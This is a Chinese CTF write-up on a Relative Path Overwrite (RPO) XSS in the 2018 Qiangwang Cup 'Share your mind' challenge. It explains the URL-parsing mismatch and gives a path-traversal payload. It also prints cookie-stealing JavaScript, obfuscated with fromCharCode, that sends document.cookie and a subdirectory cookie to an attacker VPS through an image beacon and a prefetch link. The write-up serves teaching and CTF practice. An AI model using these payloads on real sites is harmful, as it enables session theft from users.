本文由D0g3安全小组,@Ph0rse编写。

简介

通过这次强网杯,见识到了RPO这种漏洞,也是在畅师傅的指导下,学习了一波,写篇文章记录一下~

PRO的全称为“Relative Path Overwrite”,也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异,通过某些方法和技巧,在相对路径处,引入我们可控的js/css文件,甚至引入非js/css文件,并按照js/css的语法执行,从而实现攻击。

Fuck the “Share your mind”

这是18-03-24强网杯的一道题,也是从这里开始接触RPO这个漏洞,以下简单介绍一下这道题的做法:
首先就是一个登录界面

简单测试后可以发现并没有SQL注入或者XSS漏洞,之后注册一个账号,登录进去。测试各个页面,还是没有发现SQL注入
在做比赛的小伙伴可能会对以下这个页面很熟悉:


没错,就是这个“脸上”写着“这里有FLAG”的页面,而且如果在Reports框里输入http://39.107.33.96:20000/<script src=http://VPSIP ></script>,它真的会访问我们自己的VPS,结合第一个提示:

再联想到i春秋的一篇文章
通过反调PhantomJS XSS bot 把XSS漏洞升级为SSRF/LFR

惊不惊喜?意不意外?是不是感觉从此拿到FLAG,出任CEO,迎娶白富美,从此走上人生巅峰了?

呵~想!多!了!

不知道为什么,VPS上的js代码就是没办法执行

之后才了解到,真正的漏洞点在这里:

。。。

也就是我们今天要介绍的主角,RPO导致的XSS漏洞了……

phpinfo url 模式

在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。
http://39.107.33.96:20000/index.php/view/article/763
难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式
等价于
http://39.107.33.96:20000/index.php?mod=view&article=763
在这道题里,返回的,就是我们输入的文章内容,当标题为空时,只返回内容的纯文本,不包含html代码。

漏洞成因

文章最开始提到过,RPO漏洞就是“相对路径覆盖”,而这道题的漏洞产生,也是因为相对路径

我们来分析一下上面导致漏洞的payload

http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php

对于php而言,它获得的请求是url解码后的,%2F会被解码为/,apache和nginx会按照目录的方式来返回我们请求的资源。

对于payload,也就相当于访问

http://39.107.33.96:20000/index.php/view/article/36967/../../../../index.php

向上跳了三层,依旧返回index.php页面的内容

但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为
..%2f..%2f..%2f..%2findex.php这一坨是一段数据,但是又没有人来接收这段数据,相当于报废。
就好比输入url-https://www.baidu.com?id=1,向百度传递了一个参数id,但它后端没有接收的代码,相当于没有传递,返回的资源仍然是https://www.baidu.com的。而http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/的。

浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js

当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,

读到..%2f..%2f..%2f..%2findex.php这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/

我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方


这里要注意,xxxdir只是为了表示这是一个没有用的dir,换成aaadir效果也是一样的,同理把..%2f..%2f..%2f..%2findex.php当做dir也是一样的。

http://39.107.33.96:20000/index.php/view/article/36967/的页面内容,也就是alert(1)当做是js文件的内容,带回到了<script>标签中,也就因此,造成了XSS漏洞

漏洞完成过程
首先填写一个只有内容,没有标题的Ideas

如果标题不为空

那请求的结果将含有HTML代码,如果这个时候再把返回的数据当做是JavaScript代码解析,就会发生异常。

之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie
由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理
(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;


写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/

然后使用iframe标签去读二级目录下的cookie

iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
    var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

VPS处就可以监听到返回的flag~

总结

用畅师傅说的一句话总结RPO的核心原理,“RPO漏洞,就是服务端和客户端对这个URL的解析不一致导致的”,其实仔细想一想,任何漏洞不都是这个道理嘛,宽字节,00截断,都是利用不同功能板块之间解析规则的差异,造成语义上的混淆,从而导致了漏洞。

小练习

俗话说的好“Talk is cheap, show me the Code”,如果对这RPO还是有疑惑的话,可以用以下的代码片段自己动手测试一下。

测试代码扒自p00mj师傅的文章

php代码

<?php $path='http://localhost/hello/'?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
//var_dump($arr);
//echo $arr
$value='';
for($_=0;$_<count($arr);$_+=2)
{
    $value[$arr[$_]] = $arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
    case 'wei':
        ?>
        <h1>welcome to 魏国!</h1>
        <?php
        break;
    case 'shu':
        ?>

        <h1>welcome to 蜀国!</h1>

        <?php
        break;
    case 'wu':
        ?>
        <h1>welcome to 吴国!</h1>

        <?php
        break;

    default:
        ?>
        <h1>welcome!</h1>
        <?php
        break;
}
?>

style.css文件

h1 {
font-size:180px;
color:blue;
}

在绿盟的这篇文章中提到说Apache无法解析这种URL,会返回404。其实是默认配置的问题,可以来看这篇文章

Pwnhub在之前也出过一道题,大物必须过,这位师傅的做题思路很赞,就是没找到师傅的ID……还想着观摩一下博客什么的……

在Github上也有一个CTF题目的源码,利用RPO,进行XSS+CSRF攻击。

https://github.com/eboda/34c3ctf/tree/master/urlstorage

以上

参考链接

https://www.cnblogs.com/p00mj/p/6755000.html
http://blog.nsfocus.net/rpo-attack/
http://www.qingpingshan.com/pc/aq/240597.html

源链接

Hacking more

...